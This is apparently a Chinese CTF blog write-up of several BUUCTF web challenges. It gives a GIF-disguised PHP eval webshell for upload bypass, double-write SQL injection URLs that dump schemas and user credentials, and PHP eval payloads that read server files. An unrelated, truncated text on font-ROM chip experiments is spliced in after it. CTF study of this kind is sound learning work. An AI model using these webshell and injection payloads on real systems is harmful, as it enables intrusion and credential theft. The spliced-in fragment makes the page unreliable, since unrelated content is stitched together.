BUUCTF web

本文详述了一系列Web安全挑战,包括利用图片上传功能插入恶意脚本,通过蚁剑获取flag,解决SQL注入问题,安装dirsearch工具,以及在不同场景下找出解题策略,如弱比较、文件包含和代码执行等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

[极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload 

[极客大挑战 2019]BabySQL

​编辑 

 [极客大挑战 2019]PHP

 dirsearch的安装

[ACTF2020 新生赛]BackupFile 

[RoarCTF 2019]Easy Calc

​编辑 [极客大挑战 2019]BuyFlag


[极客大挑战 2019]Upload

先上传一个图片,图片内容为

GIF89a? <script language="php">eval($_REQUEST[111])</script>

 然后连接蚁剑,得到flag

[ACTF2020 新生赛]Upload 

和上一题一样

[极客大挑战 2019]BabySQL

试试万能密码,发现不行

 

 试试双写

 发现可以,这题应该就是要双写。

/check.php?username=admin&password=1 ' oorrder bbyy 4 %23

 /check.php?username=admin&password=1 ' ununionion seselectlect 1,2,database() %23

 

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

 

/check.php?username=admin&password=1 ' uunionnion sselectelect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 

 

/check.php?username=admin&password=1 ' uunionnion sselectelect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23 

 

/check.php?username=-1&password=1234' uunionnion sselectelect 1,database(),group_concat(id,username,passwoorrd) frfromom b4bsql;%23 

 

 [极客大挑战 2019]PHP

访问www.zip,得到一个压缩文件,打开index.php,得到一串代码

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
<?php
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
 
?>

 

 dirsearch的安装

先进入超级用户

sudo su

然后更新

apt-get update

我在更新时,一直在报错

 执行下面命令

wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2022.1_all.deb --no-check-certificate

apt install ./kali-archive-keyring_2022.1_all.deb 

然后在更新。

之后执行

apt-get install dirsearch

[ACTF2020 新生赛]BackupFile 

使用下面的命令

dirsearch -u url

 访问一下这个文件

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

是一个弱比较,只需要构造key等于123即可。

[RoarCTF 2019]Easy Calc

查看页面源代码,发现一个calc.php,访问一下,得到

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

上面显示了一些黑名单,没过滤字母和数字。

?num=print_r(scandir(chr(47)))

 

?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 

 [极客大挑战 2019]BuyFlag

查看页面源代码,点击一下pay.php

 得到

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

需要传入money和password两个参数。password==404,password必须是字符串

money=100000000.

我们还需要变成这个cuit

将cookie里的user改为1,传入post参数:password=404aa&money=100000000,提示money的长度太长。

参考[极客大挑战 2019]BuyFlag_HasntStartIsOver的博客-CSDN博客

传入参数password=404aa&money[]=1

 

汉字字库存储芯片扩展实验 # 汉字字库存储芯片扩展实验 ## 实验目的 1. 了解汉字字库的存储原理和结构 2. 掌握存储芯片扩展技术 3. 学习如何通过硬件扩展实现大容量汉字字库存储 ## 实验原理 ### 汉字字库存储基础 - 汉字通常采用点阵方式存储(如16×16、24×24、32×32点阵) - 每个汉字需要占用32字节(16×16)到128字节(32×32)不等的存储空间 - 国标GB2312-80包含6763个汉字,需要较大存储容量 ### 存储芯片扩展方法 1. **位扩展**:增加数据总线宽度 2. **字扩展**:增加存储单元数量 3. **混合扩展**:同时进行位扩展和字扩展 ## 实验设备 - 单片机开发板(如STC89C52) - 存储芯片(如27C256、29C040等) - 逻辑门电路芯片(如74HC138、74HC373等) - 示波器、万用表等测试设备 - 连接线若干 ## 实验步骤 ### 1. 单芯片汉字存储实验 1. 连接27C256 EPROM芯片到单片机系统 2. 将16×16点阵汉字字库写入芯片 3. 编写程序读取并显示汉字 ### 2. 存储芯片字扩展实验 1. 使用地址译码器(如74HC138)扩展多片27C256 2. 将完整GB2312字库分布到各芯片中 3. 编写程序实现跨芯片汉字读取 ### 3. 存储芯片位扩展实验 1. 连接两片27C256实现16位数据总线扩展 2. 优化字库存储结构,提高读取速度 3. 测试并比较扩展前后的性能差异 ## 实验代码示例(单片机部分) ```c #include <reg52.h> #include <intrins.h> // 定义存储芯片控制引脚 sbit CE = P2^7; // 片选 sbit OE = P2^6; // 输出使能 sbit
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值